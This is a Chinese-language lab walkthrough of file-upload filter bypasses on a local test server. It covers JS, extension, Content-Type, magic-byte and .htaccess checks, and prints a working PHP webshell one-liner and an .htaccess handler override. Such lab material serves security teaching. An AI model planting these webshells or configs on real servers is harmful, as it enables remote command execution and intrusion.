01-前端JS過濾繞過
1,查看前端代碼對文件上傳的限制策略
??????? function checkFile() { ??????????? var file = document.getElementsByName('upfile')[0].value; ??????????? if (file == null || file == "") { ??????????????? alert("你還沒有選擇任何文件,不能上傳!"); ??????????????? return false; ??????????? } ??????????? //定義允許上傳的文件類型 ??????????? var allow_ext = ".jpg|.jpeg|.png|.gif|.bmp|"; ??????????? //提取上傳文件的類型 ??????????? var ext_name = file.substring(file.lastIndexOf(".")); ??????????? //alert(ext_name); ??????????? //alert(ext_name + "|"); ??????????? //判斷上傳文件類型是否允許上傳 ??????????? if (allow_ext.indexOf(ext_name + "|") == -1) { ??????????????? var errMsg = "該文件不允許上傳,請上傳" + allow_ext + "類型的文件,當前文件類型為:" + ext_name; ??????????????? alert(errMsg); ??????????????? return false; ??????????? } ??????? } |
先將木馬命令為shell.jpg
然后嘗試上傳,在burp suite里面給請求包的文件名改回shell.php
然后使用蟻劍進行連接木馬,連接成功
02-文件名過濾繞過
文件上傳防御邏輯分析
1. 文件類型檢測機制
$type = substr($name, strrpos($name, '.')+1); // 獲取文件后綴
if($type=="php"){
??? die("不能上傳php文件!");
}
- 檢測方式:僅通過文件擴展名判斷(取最后一個.后的內容)
致命缺陷:
- 未處理大小寫:.PHP、.Php?等可繞過
- 未過濾特殊后綴:.phtml、.php5?等PHP變種可執行
- 未驗證文件內容:真實文件類型可通過魔數偽造
2. 安全處理缺失
- 無內容檢測:未使用?exif_imagetype()?或?mime_content_type()?驗證文件頭
- 無重命名機制:使用原始文件名存儲,允許危險擴展名
- 無尺寸限制:$size?僅做顯示,未做限制
3. 路徑處理風險
move_uploaded_file($tmp_name, 'up/'.$name);
- 目錄遍歷漏洞:若文件名含?../?可覆蓋系統文件
- 直接訪問風險:上傳目錄?up/?未設置訪問權限控制
?
1,命名為shell.PHP,嘗試上傳
文件上傳成功,連接鏈接如下http://192.168.23.130/upload/up/shell.PHP
03-Content-Type過濾繞過
文件上傳防御邏輯分析
1. 文件類型檢測機制
$type = $upfile["type"]; // 直接使用客戶端提供的 MIME 類型
switch ($type) {
??? case 'image/pjpeg': $okType = true; break;
??? case 'image/jpeg': $okType = true; break;
??? case 'image/gif': $okType = true; break;
??? case 'image/png': $okType = true; break;
}
致命漏洞:
- 完全信任客戶端提交的?Content-Type
- 攻擊者可通過抓包工具隨意修改 MIME 類型
- 未對文件內容進行任何驗證
2. 安全防護缺失
- 無擴展名檢查:允許?shell.php?偽裝成?image/jpeg
- 無文件頭驗證:未使用?exif_imagetype()?驗證實際文件類型
- 無重命名機制:保留原始文件名,允許執行惡意腳本
- 無尺寸限制:未限制上傳文件大小
3. 路徑處理風險
move_uploaded_file($tmp_name, 'up/'.$name);
- 目錄遍歷風險:文件名含?../?可覆蓋系統文件
- 執行權限風險:上傳目錄未禁止腳本執行
?
1,直接上傳shell.php,然后再直接修改 Content-Type
然后找到上傳位置連接一句話木馬
http://192.168.23.130/upload/up/shell.php
04-文件頭過濾繞過
文件上傳防御邏輯分析
1. 核心防御機制
// 文件頭驗證
if(!exif_imagetype($_FILES['upfile']['tmp_name'])){
??? die("請上傳圖片文件!");
}
防御原理:
- 使用?exif_imagetype()?讀取文件頭魔數(magic bytes)
- 驗證是否為有效的圖片格式(GIF/JPEG/PNG等)
- 拒絕非圖片文件上傳
2. 擴展名提取方式
$type=substr($name, strrpos($name, '.')+1); // 獲取文件后綴
風險點:
- 僅用于顯示,未做安全驗證
- 未過濾危險擴展名(如?.php,?.phtml)
3. 安全措施缺失
- 無擴展名過濾:允許上傳?.php?等可執行擴展名
- 無內容驗證:未檢查文件完整性或二次渲染
- 無重命名機制:保留原始文件名
- 無權限控制:上傳目錄未禁用腳本執行
?
1,首先寫一個具有圖片文件頭的木馬,burp suite改請求包內容
GIF89a;<?php system($_GET["cmd"]); ?>
沒有文件頭就會阻止上傳
上傳之后,然后連接成功
05-.htaccess文件上傳
文件上傳防御邏輯分析
1. 核心防御機制
$type = substr($name, strrpos($name, '.')+1); // 獲取文件擴展名
if (preg_match('/php/i', $type)) { // 黑名單過濾
??? die("不能上傳php文件!");
}
防御原理:
- 提取文件擴展名(最后一個.后的內容)
- 使用正則?/php/i?匹配擴展名是否包含"php"(不區分大小寫)
- 攔截所有包含"php"的擴展名(如?.php,?.php5,?.phtml)
2. 防御措施的優缺點
優點:
- 攔截常見PHP擴展名變種
- 大小寫不敏感匹配(.PHP,?.Php等都會被攔截)
致命缺陷:
- 黑名單機制不完整:
- 未覆蓋其他可執行擴展名:.htaccess,?.phar,?.inc
- 未處理特殊擴展名:.php7,?.phps,?.pht
- 未驗證文件內容:
- 允許上傳偽裝成其他格式的PHP文件(如圖片馬)
- 路徑處理風險:
move_uploaded_file($tmp_name, 'up/'.$name);
- 目錄遍歷:文件名含../可覆蓋系統文件
- 直接上傳.htaccess文件可改變服務器行為
?
關鍵漏洞:.htaccess 攻擊
攻擊原理
- 上傳特制的?.htaccess?文件
- 修改服務器配置,使特定擴展名文件被當作PHP執行
- 上傳偽裝成該擴展名的Webshell
攻擊步驟
步驟1:上傳.htaccess文件
<FilesMatch "shell.xyz ">
? SetHandler application/x-httpd-php
</FilesMatch>
- 繞過檢測:擴展名.htaccess不含"php" → 通過檢查
步驟2:上傳Webshell的一句話木馬
步驟3:蟻劍連接
06-文件截斷上傳
07-競爭條件文件上傳